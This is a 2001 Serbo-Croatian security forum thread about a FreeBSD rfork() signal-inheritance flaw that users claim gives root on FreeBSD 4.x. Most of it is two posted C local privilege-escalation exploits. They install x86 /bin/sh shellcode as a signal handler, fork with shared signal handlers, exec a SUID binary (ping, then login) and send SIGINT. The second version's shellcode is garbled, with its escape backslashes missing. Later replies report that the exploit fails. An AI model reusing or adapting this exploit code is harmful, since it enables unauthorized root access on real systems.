Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

signal handling related vulnerability's

[es] :: Security Coding :: signal handling related vulnerability's

[ Pregleda: 4030 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

slash

Član broj: 538
Poruke: 38
*.net.hinet.hr



Profil

icon signal handling related vulnerability's22.07.2001. u 14:04 - pre 277 meseci
Zanima me dali je netko naisao na ovakav bug te ga uspio exploitati ? Za one koji nisu upoznati sa tom vrstom bugova:

http://razor.bindview.com/publish/papers/signals.txt
Freelance security consultant -
UNIX Administrator -
www.avalon.hr - [email protected]
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: signal handling related vulnerability's22.07.2001. u 14:57 - pre 277 meseci
Hmm ima nesto zabavno u vezi FreeBSD.Naime ako kreiras proces sa rfork() i pritome startujes neki SUID program.Signal akcije(handleri) se ne ciste za startovani proces vec se nasledjuje od parenta pa je moguce u parentu definisati signal() handler koji ce da izvrsi shellcode i onda detetu poslati signal tj. da SUID program popije signal i da skoci tamo gde smo mu mi kao parent odredili.

Naime bug je ispravljen,ali daje moemntalno root-a na FreeBSD 4.x (za 3.x verovatno ce isto da da root-a)

[Ovu poruku je menjao predator dana 07-22-2001 u 03:01 PM GMT]
 
Odgovor na temu

slash

Član broj: 538
Poruke: 38
*.net.hinet.hr



Profil

icon Re: signal handling related vulnerability's22.07.2001. u 18:16 - pre 277 meseci
Citat:
predator je napisao:
Hmm ima nesto zabavno u vezi FreeBSD.Naime ako kreiras proces sa rfork() i pritome startujes neki SUID program.Signal akcije(handleri) se ne ciste za startovani proces vec se nasledjuje od parenta pa je moguce u parentu definisati signal() handler koji ce da izvrsi shellcode i onda detetu poslati signal tj. da SUID program popije signal i da skoci tamo gde smo mu mi kao parent odredili.

Naime bug je ispravljen,ali daje moemntalno root-a na FreeBSD 4.x (za 3.x verovatno ce isto da da root-a)

[Ovu poruku je menjao predator dana 07-22-2001 u 03:01 PM GMT]



mogao si postat neki example, jer osobno, nisam bas nesto ovo proucavao

Freelance security consultant -
UNIX Administrator -
www.avalon.hr - [email protected]
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: signal handling related vulnerability's22.07.2001. u 22:28 - pre 277 meseci
Evo :
Code:

#include<sys/types.h>
#include<signal.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d"
"\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";

int main(){
 int pid;
 char *c0d3;
 setenv("HOUSE",shell,1);
 c0d3 = getenv("HOUSE");
 signal(SIGINT,(sig_t)shell);
 pid = rfork(RFPROC|RFSIGSHARE);
 if ( pid  ==  0){
   printf("Child \n");
   execl("/sbin/ping","ping","127.0.0.1",0);
   _exit(0);
 } else {
 printf("parent\n");
 sleep(1);
 printf("Sendign signal\n");
 kill(pid,SIGINT);
 for(;;);
}



Ovo je slican kod kao sto je GEorgi Guninski poslao samo sam ga malo ja preuradio,zamenio shellcode i da umesto ping stavite login jer po recima Georgi Guninskog ping nece da da euid = 0.

[Ovu poruku je menjao predator dana 07-23-2001 u 12:34 AM GMT]
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: signal handling related vulnerability's22.07.2001. u 22:48 - pre 277 meseci
Kod bi trebalo da radi ;o) Nisam ga probao jel sam patchvoao kernel.
 
Odgovor na temu

Riste Pejov
Team Leader/Senior Software Developer @
Ein-Sof ltd Skopje
Skopje, Macedonia

Član broj: 128
Poruke: 571
195.159.14.*

Jabber: richie@bagra.net.mk
ICQ: 154236769
Sajt: riste.softver.org.mk


Profil

icon Re: signal handling related vulnerability's24.07.2001. u 02:53 - pre 276 meseci
Probao sam tvoj code na FreeBSD 4.2 RELEASE
i nije radio ... valjda je patchiran na ovoj verzii

People who think they know everything tend to irritate those of us who do.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: signal handling related vulnerability's24.07.2001. u 14:39 - pre 276 meseci
Probaj ovaj kod ,naso sam gresku :
Code:

#include<sys/types.h>
#include<signal.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
char shell[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"xebx17x5bx31xc0x88x43x07x89x5bx08x89x43x0cx50x8d"
"x53x08x52x53xb0x3bx50xcdx80xe8xe4xffxffxff/bin/sh";

int main(int argc,char **argv){
 int pid;
 char *c0d3;
 if (!(c0d3 = getenv("HOUSE")) ){
     setenv("HOUSE",shell,1);
     execl(argv[0],argv[0],NULL);
 }
 pid = rfork(RFPROC|RFSIGSHARE);
 if ( pid  ==  0){ 
   printf("Child n");
   execl("/usr/bin/login","login",NULL);
   _exit(0);
 } else {
 printf("parentn");
 printf("%pn",c0d3);
 fflush(stdout);
 sleep(1);
 signal(SIGINT,(sig_t)shell);
 printf("Sendign signaln");
 kill(pid,SIGINT);

 for(;;);
}

 
Odgovor na temu

Riste Pejov
Team Leader/Senior Software Developer @
Ein-Sof ltd Skopje
Skopje, Macedonia

Član broj: 128
Poruke: 571
*.dialup-maxtnt.on.net.mk

Jabber: richie@bagra.net.mk
ICQ: 154236769
Sajt: riste.softver.org.mk


Profil

icon Re: signal handling related vulnerability's31.07.2001. u 04:27 - pre 276 meseci
Ma nece ni taj da radi
nisam probao ali sam siguran ...
mislim da nisam napomenuo ... ali shell code ti je za x86,
a freeBSD je na Alphu
People who think they know everything tend to irritate those of us who do.
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: signal handling related vulnerability's31.07.2001. u 12:15 - pre 276 meseci
e jebiga nikad nisam radio na Alphi niti znam njen assembler tako da ne mogu da napisem shell code za to ;o)
 
Odgovor na temu

[es] :: Security Coding :: signal handling related vulnerability's

[ Pregleda: 4030 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.